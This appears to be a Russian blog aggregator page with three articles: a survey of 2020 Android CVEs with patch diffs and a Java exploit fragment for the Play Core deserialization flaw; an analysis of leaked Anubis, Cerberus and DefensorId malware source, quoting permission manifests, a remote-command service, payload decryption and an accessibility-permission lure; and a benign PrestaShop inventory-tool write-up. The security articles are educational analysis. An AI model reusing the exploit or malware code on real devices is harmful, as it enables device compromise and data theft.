Русский
Русский
English
Статистика
Реклама

Android development

Уязвимости Android 2020

15.03.2021 18:04:43 | Автор: admin

Привет, Хабр. Делимся с вами полезной статьей, автором которой является Александр Колесников.


Операционная система Android считается одной из самых защищенных операционных систем в наше время. Разработчики этой ОС на своем официальном сайте рассказывают, что в ОС сделано очень много работы для того чтобы создание традиционных эксплойтов было нерентабельно, сложно, невозможно. Возникает вопрос, а есть ли вообще уязвимости в ОС, которые могли бы привести к компрометации системы? Будут ли эти уязвимости отличаться от стандартных уязвимостей программного обеспечения? Можно ли найти эти уязвимости в CWE TOP 25? Или в Android уникальные уязвимости? Эта статья попытка собрать воедино несколько уязвимостей платформы Android в разных частях её архитектуры за 2020 год.

Архитектура ОС Android

Без описания хотя бы поверхностно работы этой ОС не обойтись, но постараемся сделать это максимально быстро. На картинке ниже представлена архитектура ОС Android.

Подробное её описание можно найти здесь. Нас же интересует всего 2 факта об архитектуре:

  1. Каждый уровень архитектуры отделен друг от друга и выполняет функции на различных уровнях привилегий;

  2. Все уровни Android впитали в себя самое лучшее, что было на момент создания ОС из других open source проектов с точки зрения безопасности.

Если объединить эти два факта, то получается, что для того чтобы атаковать эту операционную систему необходимо, чтобы у атакующего было в арсенале по 1 уязвимой функции на каждом из уровней ОС. Это достаточно серьезно усложняет процесс создания эксплойта для атаки на ОС. Однако, все равно ресечеры со всего мира находят способы как можно атаковать эту ОС и делают это достаточно успешно. Под эту деятельность даже есть отдельное мероприятие.

CVE-2020-0082

Уязвимость в операционной системе Android 10. Если обратиться к общей классификации уязвимостей CWE Top 25, то уязвимость можно отнести к классу CWE-502. Данный класс уязвимостей может возникать как в веб, так и в десктопных приложениях. Основной особенностью уязвимости считается тот факт, что при помощи нее можно абсолютно незаметно для ОС и пользователя внедрить свой код в уязвимое приложение. Возможно это за счет того, что объекты, которые подвергаются процедуре десериализации или сборке могут описывать функцию-сборщик, которая может выполнять производные функции. Уязвимость известна довольно давно и при неосторожном использовании функций десериализации может стать критической.

В ОС Android так и случилось. При успешном использовании уязвимости можно захватить контроль над привилегированным пользователем system_server.

diff --git a/core/java/android/os/ExternalVibration.java b/core/java/android/os/ExternalVibration.javaindex 37ca868..041d21f 100644--- a/core/java/android/os/ExternalVibration.java+++ b/core/java/android/os/ExternalVibration.java@@ -157,7 +157,6 @@         out.writeInt(mUid);         out.writeString(mPkg);         writeAudioAttributes(mAttrs, out, flags);-        out.writeParcelable(mAttrs, flags);         out.writeStrongBinder(mController.asBinder());         out.writeStrongBinder(mToken);     }

Эксплуатация уязвимости возможна через создание объекта Parsel для "android.accounts.IAccountAuthenticatorResponse".

CVE-2020-8913

Уязвимость в Android Play Сore библиотеке. Уязвимый receiver позволял перезаписывать файлы и запускать произвольный код в ОС. Запуск кода снова возможен за счет десериализации данных, которые передаются за счет объекта Parcel. Фрагмент эксплойта с использованием приложения Google Chrome:

//Приложение может быть любым, главное чтобы использовала уязвимый функционалpublic static final String APP = "com.android.chrome";protected void onCreate(Bundle savedInstanceState) {    super.onCreate(savedInstanceState);// Запускаем приложение    Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);    startActivity(launchIntent);// Создаем новый Intent и указываем адрес его содержимого    new Handler().postDelayed(() -> {        Intent split = new Intent();        split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));        split.putExtra("split_id", "../verified-splits/config.test");//Сохраняем временные данные]        Bundle bundle = new Bundle();        bundle.putInt("status", 3);        bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split)));//Создаем новый Intent и отправляем сообщение для уязвимого receiver        Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");        intent.setPackage(APP);        intent.putExtra("session_state", bundle);        sendBroadcast(intent);    }, 3000);//Вызов команд, которые будут выполнены после десериализации    new Handler().postDelayed(() -> {        startActivity(launchIntent.putExtra("x", new EvilParcelable()));    }, 5000);}

CVE-2020-8899

Уязвимость в библиотеке для разбора картинок. Нельзя 100% утверждать, что это уязвимость Android, но все же эта версия ОC очень популярна. Используется на телефонах Samsung.

Как известно, различные вендоры мобильных устройств очень часто создают собственные модификации ОС Android и благополучно забывают о них.

Уязвимость в данном случае заключается в том, что происходит повреждение памяти процесса и приложение, которое использует уязвимую функцию для работы с изображениями. Падение эксплуатабельно и можно выполнять любые операции от имени привилегированного пользователя ОС. Уязвимость относится к классу CWE-787.

CVE-2020-0022

Уязвимость в BlueTooth стеке ОС Android 8 и 9. Уязвимость позволяет обрушить ОС. Класс уязвимости CWE-787.

diff --git a/hci/src/packet_fragmenter.cc b/hci/src/packet_fragmenter.ccindex 5036ed5..143fc23 100644--- a/hci/src/packet_fragmenter.cc+++ b/hci/src/packet_fragmenter.cc@@ -221,7 +221,8 @@                  "%s got packet which would exceed expected length of %d. "                  "Truncating.",                  __func__, partial_packet->len);-        packet->len = partial_packet->len - partial_packet->offset;+        packet->len =+            (partial_packet->len - partial_packet->offset) + packet->offset;         projected_offset = partial_packet->len;       }

Некорректная обработка длины пакета. Для триггера уязвимости достаточно отправить фрагментированные широковещательные запросы длиной 300 и 33 байт.

Выводы

Похоже, что даже разделение привилегий, использование самых передовых технологий не спасает от самых распространенных ошибок программного обеспечения. ОС можно атаковать и классическими эксплойтами на повреждение памяти и более современными аналогами, которые используют механизмы ОС.


Совсем скоро у нас стартуют курсы по Android-разработке двух уровней. Узнать подробнее о курсах можно по ссылкам ниже.

- Android Developer. Basic
- Android Developer. Professional

Подробнее..

Android запрещенные приемы

16.03.2021 20:17:50 | Автор: admin

В данной статье проведем попытку изучения используемых конструкций языка программирования для работы вредоносного программного обеспечения. Основная задача выяснить, содержат ли вредоносы для ОС Android какие-либо полезные и интересные недокументированные возможности ОС или же это просто приложения, которые ловко выполняют свой функционал при помощи стандартных приемов.

ВПО может состоять из десятков тысяч строк исходного кода, если не больше. Поэтому для ориентира в этом море кода будем рассматривать следующие характеристики:

  • используемый язык программирования;

  • набор привилегий, которые доступны ПО;

  • процедура предоставления удаленного доступа;

  • особенности реализации программного обеспечения (если есть).

Disclamer: Статья не претендует на полноту описываемой информации и предоставляет информацию только в образовательных целях.

Вредоносное программное обеспечение и ОС

Как известно, система Android своим ядром обязана Linux. И как свой прародитель, ОС Android считалась неприступной для вредоносного программного обеспечения. По мере развития системы в нее добавлялись новые функции, которые должны были еще больше обезопасить систему. Среди них:

  • песочница для каждого отдельного приложения;

  • организация доступа к ресурсам ОС за счет большого количества правил SELinux подсистемы;

  • использование нотификации для пользователей с перечнем необходимых для работы приложения привилегий.

Однако и это не помогло на 100% защитить систему. Почему? Наиболее распространенный способ инфицирования данной ОС использование патченного софта и социальная инженерия. Причем обычно пользователям предлагается работать с интерфейсом, который неотличим от системного то есть любое приложение ОС Android может использовать нотификации и Intent`ы, которыми пользуется сама ОС.

ВПО под Android развивается отчасти по пути open source: в сеть периодически попадают исходные коды вредоносов, которое использовалось злоумышленниками, что в свою очередь помогает менее квалифицированным вирусописателям ускорить создание своих зловредов. Попробуем раздобыть эти исходники из публичных источников.

Первым подопытным будет троян Anubis. Вот тут есть относительно свежая новость о том, с чем и как работает этот троян.

Anubis

Используемый язык программирования: Java. Для этого даже не нужно вычитывать исходники проекта, поскольку почти все файлы имеют расширение Java.

Набор требуемых привилегий на самом деле зашкаливает. Приведем часть AndroidManifest:

...    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />    <uses-permission android:name="android.permission.GET_TASKS" />    <uses-permission android:name="android.permission.RECEIVE_SMS" />    <uses-permission android:name="android.permission.READ_SMS" />    <uses-permission android:name="android.permission.WRITE_SMS" />    <uses-permission        android:name="android.permission.PACKAGE_USAGE_STATS"        tools:ignore="ProtectedPermissions" />    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />    <uses-permission android:name="android.permission.CALL_PHONE" />    <uses-permission android:name="android.permission.INTERNET" />    <uses-permission android:name="android.permission.SEND_SMS" />    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />    <uses-permission android:name="android.permission.RECORD_AUDIO" />    <uses-permission android:name="android.permission.READ_CONTACTS" />    <uses-permission android:name="android.permission.READ_PHONE_STATE" />    <uses-permission android:name="android.permission.WAKE_LOCK" />    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />...

Похоже, что приложение будет системным, а также будет практически 24/7 мониторить активность пользователя и получать необходимые данные для своих целей. ОС не должна препятствовать деятельности этого приложения, если пользователь согласился с таким набором привилегий.

ВПО представляет собой троян, который может предоставлять доступ к зараженному устройству. Это осуществляется через создание сервиса, который имеет говорящее название "ServiceRAT". Регистрируется он стандартно через манифест. Часть исходника самого сервиса:

...public class ServiceRAT extends IntentService {    String botid="";    UtilsClass utilsClass = new UtilsClass();    Constants const_ = new Constants();    RequestHttp  http = new RequestHttp();    StoreStringClass storeStringClass = new StoreStringClass();...

Никаких изысков, используем http для передачи данных, и шифруем всё через RC4. Можно бы было придраться к code style, но похоже, что злоумышленники не парятся о подобном. Сам вредонос работает классически получает зашифрованные данные от сервера и выполняет:

...  UtilsClass utilsClass = new UtilsClass();        try        {            byte[] data = Base64.decode(textDE_C, Base64.DEFAULT);            textDE_C = new String(data, "UTF-8");            byte[] detext = utilsClass.hexStringToByteArray(textDE_C);            ClassRC4 rcd = new ClassRC4(key.getBytes());            return  new String(rcd.decrypt(detext));...

Если смотреть код управления устройством полностью, то глаз зацепится за вот такой фрагмент:

...responce = utilsClass.trafDeCr(responce);           utilsClass.Log("RATresponce",""+responce);           if(responce!="**"){               utilsClass.Log("RAT_command", "" + responce);               if(responce.contains("opendir:")){                   String opendir = responce.replace("opendir:","");                   opendir = opendir.split("!!!!")[0];                   if(opendir.contains("getExternalStorageDirectory"))opendir = Environment.getExternalStorageDirectory().getAbsolutePath();                   String getFileFolder = utilsClass.listFilesWithSubFolders(new File(opendir));                   ...

Похоже, у автора была 100% уверенность, что любая команда для вредоноса будет введена всегда 100% корректно. Поэтому можно не переживать о наполнении opendir и просто выполнить команду.

Вывод: данный зловред никаких интересных трюков не использует. Разрешенные действия, которые описаны полностью в манифесте подчиняют практически полностью всю ОС. Все функции реализованы в рамках стандартного использования функций ОС и её библиотек. Отсутствует code style.

Cerber

Ещё один зловред, исходный код которого утёк в сеть. Недавняя новость о его функционале. Данная малвара имеет интересную особенность: практически все функции реализованы в отдельном файле, видимо разработчик таким образом хотел вынести весь алгоритм и иметь возможность обфусцировать его автоматическими средствами. Возможно, так было бы удобнее еще добавлять дополнительный функционал, но если задуматься, вероятно это один из методов обхода механизма проверки приложений для Google Play, так как вредонос достаточно часто светится в официальном магазине.

Используемый язык программирования: Java. Набор привилегий:

...    <application        android:allowBackup="true"        android:label="module"        android:supportsRtl="true"        android:theme="@android:style/Theme.Translucent.NoTitleBar">        <activity android:name=".MainActivity">            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.app.role.SMS" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>    </application>...

Объявления привилегий нет, у приложения всего лишь один Intent. Фрагмент исходника обработчика:

...import java.lang.reflect.Method;public class MainActivity extends Activity {    mod tt = new mod();    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);               tt.checkProtect(this);        try {            Class c = Class.forName("com.example.modulebot.MainActivity");            Method m = c.getMethod("ssss");            m.invoke(c.newInstance());        } catch (Throwable t) {        }        tt.main(this,"");    }...

Как было упомянуто ранее, основной алгоритм ВПО записан в отдельный модуль. Отследить работу алгоритма можно по объекту "tt". Автор вредоноса также не особенно переживает за поддержку данного кода, все объекты не имеют четкого именования. Видимо, данный модуль не планировали использовать долго.

Функционал вредоноса не ограничивается отправкой СМС, в нем так же есть работа с апдейтом модуля приложения:

...case "updateModule":                        utl.SettingsWrite(context, "statDownloadModule", "0");                        try {                            new File(context.getDir("apk", Context.MODE_PRIVATE), "system.apk").delete();                        }catch (Exception ex){                            utl.SettingsToAdd(context, consts.LogSMS , "(MOD5)  | updateModule " + ex.toString() +"::endLog::");                        }....

Дополнительный файл "system.apk", к сожалению, отсутствует среди исходников, но вероятно он загружался с управляющего сервера. Удаленного доступа данный вредонос не предоставляет совсем. Весь функционал реализуется на основании конфига, который автоматически выполняет операции, которые ему передал злоумышленник на этапе запуска.

Вывод: ВПО работает только с СМС, которые проксируются в лог и пересылаются на конкретный номер. Снова полное отсутствие code style.

DefensorId

Еще одно ВПО, которое распространялось на ОС Android. Относительно свежую новость о нем можно найти здесь. Снова язык программирования Java, похоже зловреды категорически не хотят использовать Kotlin.

Набор запрашиваемых привилегий:

...<uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW" />    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"        tools:ignore="ProtectedPermissions" />    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>    <uses-permission android:name="android.permission.WRITE_SETTINGS"        tools:ignore="ProtectedPermissions" />        <service            android:name=".CoreService"            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"...

ВПО славится тем, что может работать с пользовательским интерфейсом и воровать данные пользователя. Для подобного функционала в ОС Android необходимо обладать специальными привилегиями, которые выдаются только специальному функционалу Расширенные возможности ввода (ACCESSIBILITY). Ниже приведен фрагмент кода, который старается такие привилегии запросить для возможности рисовать свой Intent поверх других приложений:

...public void overayPermission(){            if (!Settings.canDrawOverlays(this)) {                Intent myIntent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);                startActivityForResult(myIntent, WIN_REQ_CODE);            }    }    public void AccessibilityAllow() {        AlertDialog.Builder gsDialog = new AlertDialog.Builder(this);        gsDialog.setTitle("Message");        gsDialog.setCancelable(false);        gsDialog.setMessage("please need to allow the permission");        gsDialog.setPositiveButton("OK", new DialogInterface.OnClickListener() {            public void onClick(DialogInterface dialog, int which) {                startActivityForResult(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS),CORE_REQ_CODE);            }        }).create().show();    }    ...

Социальная инженерия во всей красе. Если система не дала запустить приложение с возможностью помещать свой Intent поверх других приложений запросить у пользователя эту возможность. С высокой долей вероятности нотификацию от системы будет им подтверждена без подозрений. Удаленный доступ к устройству в этом ВПО не предоставляется, весь функционал обрабатывается автоматически.

Вывод: Код создавался более опытным программистом, есть осмысленное именование объектов. Функционал реализуется за счет возможностей самой ОС и применяется для социальной инженерии.

Вывод

Код вредоносного программного обеспечения в большинстве случаев не выходит за рамки обычного программирования для ОС Android. Более того, можно сказать, что большинство ВПО пишется самоучками, которые собирают функции по официальной документации. В коде отсутствует четкое определение объектов их функционала, нет обработки данных от пользователя, так как реализация функционала пишется чтобы работало. По итогу недокументированные функции ОС это лишь умелые манипуляции злоумышленников по вводу пользователя в заблуждение.


Автор статьи Александр Колесников.

Статья подготовлена в рамках курсов "Android Developer. Basic" и "Android Developer. Professional".

Также приглашаем на открытый вебинар на тему Рисуем свой график котировок в Android. На занятии участники вмеcте с экспертом:
рассмотрят основные инструменты для рисования;
изучат возможности классов Canvas, Path, Paint;
нарисуют кастомизируемый график котировок и добавим в него анимаций.
Присоединяйтесь!

Подробнее..

Как я уместил систему управления товарами на сайте Presta Shop в пяти кнопках

04.05.2021 16:09:09 | Автор: admin
Внимание!

Прочитав статью, может сложиться впечатление, что я люблю БДСМ или что-то такое, но это вам только кажется.

Проблемы в работе магазина

Я работаю в обычном велосипедном магазине в центре Варшавы. Торгуем как стационарно, так и в интернете. Среднее количество купленных велосипедов за день ~2 на весь год. При этом пик продаж приходится на лето и тогда в день можем иметь по ~17 интернет-заказов и столько же в магазине, а зимой не продавать вообще ничего.

В 2020г. в связи с пандемией COVID, спрос на велосипеды вырос до невероятных показателей, а мы, как порядочная контора, начали расширение.

Это привело к тому, что в конце прошлого сезона, заказы только несуществующих велосипедов участились в среднем до 4-х раз в неделю на протяжении 4-х самых продуктивных месяцев. А это ~16 несоответствий на сайте в месяц (не считая фейлы в магазине).

Анулированные заказыАнулированные заказы

В текущем году, с появлением еще одного большого склада, ситуация ухудшилась и теперь, кроме несуществующих велосипедов добавились и те, которые находились не там и привезти их клиентам в срок часто бывало невозможным.

В конце концов, чтобы как-нибудь унять этот хаос мне было поручено создать EXСEL, куда впишутся все велосипеды со складов, чтобы примерно знать их расположение. Конечно же, я наплевал на таблицу. Хотя бы потому что при нынешней текучке продуктов она потеряет смысл недели через 2 и станет полностью неактуальной спустя 2-3 больших поставки.

Управление продуктами удаленно

Включение расширенного запаса продуктами не особо помогло. Да, все продукты теперь были на своих складах, но, по сути это та же таблица, которая не будет обновляться без вмешательства. Нужен был сканер.

Портативный сканер, который подключается к интернету, считывает штрих-коды и отправляет их на сервер для обработки. И за все это не придется платить. Если разобраться, то ничего сложного нет. Набросаем примерную схему:

Теперь имеем примерный план действий и можно приступать к разработке, чтению документаций.

Компоненты

Всю систему получилось разделить на три основных части:

  1. Небольшая Python библиотека для взаимодействия с API PrestaShop;

  2. Приложение, сканер штрих-кодов, для отслеживания перемещения товаров между складами. Ну чтоб не вписывать все каждый раз вручную;

  3. Расширение Chrome для автоматического снятия проданного велосипеда во время выставления гарантийной карты. Да, на работе все время использовался только Chrome.

Все запросы проходят через некий middle-сервер, который и связывается с сайтом для взаимодействия. Теперь обо всем вкратце и по порядку.

Главный модуль для работы с API PrestaShop

Способов взаимодействия с API PrestaShop на Python не так много, наверное, потому что PS занимает только 5% рынка (а версия 1.6 и того меньше). Нашлась всего одна полноценная библиотека prestapyt, что само по себе большая редкость для Питона. Возможно, она сэкономила бы мне пару ночей, но попробовать свое решение хотелось не меньше чем быстрее это запустить.

Так как выбора особо и не было, а заняться было нечем, я приступил к анализу API, документациям и изучению работы PS. Спустя пару дней создался скрипт, который имел в себе самые базовые функции типа поиска продуктов и изменение их количества, да и работал умеренно быстро.

Его функций оказалось вполне достаточно, чтобы управлять количеством, и даже больше! Теперь я мог получить доступ к практически любой точке сайта и анализировать то, что мне хотелось.

Код на Git

Алгоритм поиска продукта по комбинациям

Каждый велосипед в нашем интернет-магазине имеет несколько комбинаций, характеризующие размер рамы велосипеда.

Соответственно, для идентификации количеств необходимо получить ссылку на комбинацию, а уже потом манипулировать с ее количеством.

Исходя из этого получился следующий алгоритм:

  1. Получаем ссылку на комбинацию используя фильтр по reference коду;

  2. Из нужной комбинации ссылку на карточку продукта;

  3. Дальше, из карточки продукта, ссылку на stock_availables. Получится некий массив ссылок;

  4. Проходим циклом по всех ссылках в associations и ищем ту же комбинацию.

  5. Получаем ссылку на стоки, проверяем наличие и, если оно > 0 удаляем единицу товара. Если нет выкидываем предупреждение, что товар закончился.

  6. В завершение отправляем отредактированный XML на тот же адрес stock_availables, из которого это все и было получено.

Похоже на такую себе рекурсию от комбинации аж до общего количества.

Плюсы такого подхода в том, что можно попутно захватить еще какие-то данные, скажем модель велосипеда или проверить параметры продукта.

Взаимодействие с API

Доступ к главной странице начинается со ссылки вида https://domain.com/api. Здесь можно посмотреть, какие разделы доступны авторизованному юзеру. А проверяется это попытками найти id раздела например, тег products в теле ответа. Совпадение обозначает, что раздел доступен конкретному ключу.

Общение через API происходит на языке XML, а схемы запросов выглядят примерно так:

<prestashop><api shopName="myshop"><addresses xlink:href="http://personeltest.ru/aways/domain.com/api/addresses" get="true" put="false" post="false" delete="false" head="false"></addresses></api></prestashop>

Следующий сегмент ссылки - это название раздела. Пример получения продуктов https://domain.com/api/products:

<prestashop>  <products>    <product id="22" xlink:href="http://personeltest.ru/aways/domain.com/api/products/22"/>    <product id="24" xlink:href="http://personeltest.ru/aways/domain.com/api/products/24"/>    <product id="265" xlink:href="http://personeltest.ru/aways/domain.com/api/products/265"/>    <product id="294" xlink:href="http://personeltest.ru/aways/domain.com/api/products/294"/>  <products /><prestashop />

Отобразятся ссылки на карточки продуктов.

Для формирования и непосредственной отправки запросов скрипт использует requests. Удобная штука, хоть и работает относительно медленно Requests потому что я работал с ней раньше, она хорошо документирована и с ней просто приятно иметь дело.

Авторизация

API PS использует Basic авторизацию только по ключу (без пароля). Поэтому запрос получается до невозможности прост. Логин средствами requests:

request_url = https://domain.com/apiget_combination_xml = requests.get(request_url, auth=(self.api_secret_key, ''))

Получаем ответ 200, и тело ответа, содержащее всю страницу в XML. Теперь можно распарсить ее на отдельные теги и поискать нужные значения в них.

Парсинг XML ответа

Здесь ситуация выглядела лучше нашлась библиотека xml.etree. Отлично документированный инструмент, который через пару минут после импорта уже выдает все, что нужно (а много и нужно), а работать с целым телом ответа можно так же, как и с обычным словарем Python.

Достанем ссылку на подкатегорию из полученного ответа:

# Импортируем все необходимое в 2 строчкиfrom xml.etree import ElementTree as ETfrom xml.etree.ElementTree import ElementTree# Экземпляр xml.etreedef xml_data_extractor(data, tag):# data  XML данные# tag = products тег для поиска в деревеtry:xml_content = ET.fromstring(data.content) # Экземпляр класса ElementTree. Принимает строку в качестве аргумента. В моем случае тело ответа.general_tag = xml_content[0] # Получаем родительский тег  он всегда первыйtag = general_tag.find(tag) # Ищем заданный тегtag_inner_link = tag.get('{http://www.w3.org/1999/xlink}href') # Ищем ссылку в теге# Так же можно искать подстроку href в каждом ключе и получать значение после совпадения # Возвращаем внутреннюю ссылку в виде словаряproduct_meta = {'product_link': tag_inner_link}  return product_metaexcept:return None

Результат: https://domain.com/api/products. Все просто, но работает.

Большинство функций возвращают None в блоке except и словарь в блоке Try. Не знаю, хорошо ли это, но знаю, что это можно улучшить, чтобы не было такого разброса типов.

Фильтры поиска PS

PS предоставляет фильтры для уточнения поиска. По сути, каждый фильтр это данные для полноценного SQL запроса. Именем фильтра может быть любой тег из XML дерева страницы, а значением его предполагаемое значение, очевидно.

Ссылка для запроса с фильтром для комбинаций выглядит так:

https://domain.com/api/combinations/?filter[reference]=reference, где reference код искомого продукта.

Сам код - это штрих-код, наклеенный на коробке и выглядит примерно так: KRHE1Z26X14M200034.

Дальше идут некоторые специфические функции и приватные методы, которые более подробно описаны в документации. Да! У этого куска кода есть документация на Git:

Структура библиотеки

Весь модуль содержит только один класс (хоть это и не читаемо, изначально я хотел работать только с общим количеством). В конструкторе кодируется в base64 секретный ключ, определяется путь до директории скрипта, создается константа времени и другие переменные, необходимые для работы с логами:

def __init__(self, api_secret_key, request_url=None, **kwargs):try:self.api_secret_key = str(api_secret_key) #!API key is necessary!self.api_secret_key_64 = base64.b64encode((self.api_secret_key + ':').encode())    except:raise TypeError('The secret_key must be a string!')  # Main path to working directoryself.base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))self.request_url = request_urlself.kwargs = kwargs.items()#product meta to returnself.name = Noneself.total_quantity = Noneself.w_from = Noneself.w_to = Noneself.date = str(datetime.datetime.now().strftime("%d-%m-%Y, %H:%M"))

Далее идут приватные методы: _xml_data_extractor(), _wd() и даже кастомный _logging(), который пишет все совершенные операции вне зависимости от результата. Можно задать свое имя лог-файла.

Затем стандартные методы. Всего 11. Каждый отвечает за свою ссылку. Здесь, собственно, и происходит все вышеописанное.

Обработка запросов и middle-сервер

Для взаимодействия приложения и расширения со скриптом из любой точки мира магазина нужен был сервер c поддержкой Python. Сначала это выглядело как проблема, но я кое-что попробовать. Поднять WSGI-сервер на хостинге, конечно же!

Все даже получилось, однако, так как все это должно работать в реальном магазине то я побаиваюсь грубого взлома и использовать свою писанину для обработки входящих запросов было просто страшно.

Однако, нашлось еще более скостылизированное решение. У меня есть блог, запущенный на Django, а если посмотреть под другим углом отличный middle-сервер, способный обрабатывать множество запросов и уже настроен и готов к работе.

Создав еще одно приложение, подключил библиотеку, настроил какой-никакой контроль доступа к странице и вот он тестовый запуск.

Невалидный запросНевалидный запрос

Отлично! Запрос по ссылке https://palachintosh.com/xxx/xxx/? (без параметров) обработался и выдал результат об ошибке, так как нет ни токена, ни номера рамы. Просто пустой запрос.

Пробуем запрос с параметрами /?code=1122334455&token=IUFJ44KPQE342M3M109DNWI (код тестового продукта):

Пример успешного запросаПример успешного запроса

Вернулся словарь success значит, запрос обработался, количество продуктов уменьшилось и на складе, и в доступных для продажи, все записалось в лог-файл и вообще работает. Уже можно слать запросы с реальными номерами рам.

Контроль доступа

За доступ к этому всему отвечает специальный токен, генерирующийся на сервере рандомайзером, и, к сожалению, вручную вписывается в файл и расширение. В будущем я хочу подключить стандартную авторизацию Django или вообще использовать Django REST. Но пока что испытываю проблемы с Java и нехваткой времени для изучения Retrofit, поэтому использую ключи.

Логика проста токен совпадает продолжаем операцию. Токен не совпадает прерываем транзакцию еще на начальном этапе как-то так:

token = Nonewith open(token.txt) as file_t:token = file_t[0]if token == str(request.GET.get(token))://Вызываем обработчикreturn JsonResponse({Error: Invalid token})

В теории это должно защитить страницу от ботов и непрошеных гостей, не более, хоть и сама идея хранения токена в файле на сервере ни к чему доброму не ведет.

Расширение Chrome и первые две кнопки

Расширение содержит набор функций для определения нужной страницы, отправки запроса, стилизации некоторых окон и т.д.

Положение определяет интервал, который слушает изменение ссылки в браузере и если находит совпадение передает управление функции получения данных из формы. После подтверждения в диалоговом окне формируется и отправляется запрос. Запросы шлются методом XMLHttpRequest.

Самым сложным этапом оказалась работа с политикой CORS. На сервере пришлось добавить отдельную функцию, которая добавляет заголовки Access-Control-Allow-Origin. Без него, в случае кроссдоменных запросов срабатывает защита и сразу сбрасывает соединение еще на этапе запроса OPTIONS.

Проблема решилась определением во views.py функции def options(self, request). Она просто проверяет заголовки и отдает допустимые заголовки для совершения полноценного GET запроса.

По итогу получилось вместить отправку одной формы и вывод диалогового окна в менее чем 100 строчках корявого кода, бОльшая часть которых это установка обработчиков на существующие кнопки.

Алгоритм расширения

Сканера штрих-кодов в магазине нет, но есть кое что получше. Это система выставления гарантийных карт производителя. Работает это примерно так:

Процесс выставления гарантийной картыПроцесс выставления гарантийной карты

Если вписать существующий номер рамы, то все поля заполнятся данными из реестра на стороне производителя. В поле Kod roweru появится тот самый код, который характеризует все одинаковые велосипеды.

Ну а дальше все просто получаем значение поля и скармливаем его библиотеке PrestaRequest на сервере. Пускай он разбирается, что и откуда снимать.

Чтобы определить все поля и добраться до формы того самого поля sku пришлось немного подраться с частями страницы, которые подгружаются с помощью ajax после ввода номера рамы. По началу это было проблемой, потому что я не умею перехватывать ajax запросы в расширении. Поэтому заменил перехватчик обычным интервалом.

var interval;functionmain_interval(){clearInterval(interval);  interval=setInterval(function(){href=window.location.hrefif(href.indexOf('https://24.kross.pl/warranty/new')>=0||href.indexOf('id_product=')>=0){if(href.indexOf('id_product=')>=0){prestaCheck();clearInterval(interval);}if(href.indexOf('https://24.kross.pl/warranty/new')>=0){location.reload();get_buttons();}}if(href.indexOf('https://24.kross.pl/bike-overview/new')>=0){clearInterval(interval);check_all();}},1000);}

Конечный код получения данных формы выглядит так:

// onclick or enter events function getFormData() {    var getForm = document.forms[0];    if (getForm != null) {        if (getForm.hasChildNodes("sku") && getForm.sku != null){            var code = String(getForm.sku.value);        }        if (getForm.hasChildNodes("bike_model") && getForm.bike_model != null) {            edit_msg = document.querySelector(".message-container > span > h1");            edit_msg.innerText = "Rower " + String(getForm.bike_model.value) + " zostanie usunity ze stanw!";        }        if (code != null && getForm.serial_number != null) {            sendRequest(code);        }    }}

Поле bike_model нужно исключительно для диалогового окна, в котором напоминается, над каким велосипедом производится операция. Диалоговое окно тоже добавляется на страницу скриптом расширения и выглядит так:

vargetBodyBlock=document.querySelector('body');varalert_div=document.createElement('div');alert_div.innerHTML='<divclass="alert-message"><divclass="message-container">\<span><h1></h1></span>\<divclass="inner-buttons">\<buttonid="btnYes"class="ant-btnant-btn-danger">Potwierdzam!</button>\<buttonid="btnReserve"class="ant-btnant-btn-danger">Zdjrezerwacj</button>\<buttonid="btnNo"class="ant-btnant-btn-success">Nieteraz</button>\</div></div></div>';loader=document.createElement('div');getBodyBlock.appendChild(alert_div);

Ссылка на репозиторий: https://github.com/palachintosh/shop_extension

Самая страшная часть Android-приложение

Приложение помогает контролировать миграции продуктов между складами, например, при переносе или доставке. Так как телефон всегда под рукой то можно обновить продукты прямо во время работы на складе. Также есть возможность добавить любое количество товара, если, например, приехали велосипеды только одной модели скажем 50 шт., чтобы не сканировать каждую коробку.

Нужно просто считать или ввести код на коробке и отправить серверу. Запросы делаются на разные адреса, так приложение определяет какие операции с присланным кодом проделать. В целом принцип тот же что и у расширения, но другие обработчики и ссылки.

Работа приложения (ничего интересного)

Приложение имеет 3 страницы. Сначала выбираются названия складов и количество переносимого товара, а дальше:

  • Либо код сканится, если он не поврежден.

  • Либо вписывается вручную, если, скажем, коробка где-то далеко, но есть документ доставки.

Вообще, сам сканнер был написан не мной. Я честно нашел его на каком-то сайте и даже сохранил все комментарии автора. Но его пришлось переделать и завернуть в свое приложение, а это уже что-то добавленное от меня. К тому же переписать часть старого кода на Java и обеспечить совместимость с новыми зависимостями.

Отправкой запросов занимается библиотека Retrofit 2. Простые запросы пишутся в пару строчек, но обработка входных данных намного сложнее чем на Python. Всегда важно помнить какой тип чем обрабатывать, компилировать код, да и в самом проекте много файлов, поддиректорий, зависимостей, легко в этом потеряться с непривычки.

Кнопки в приложении

Main Activity содержит всего 3 метода onCreate, scanCode, enterCode и описывают кнопки, которые запускают другие активити:

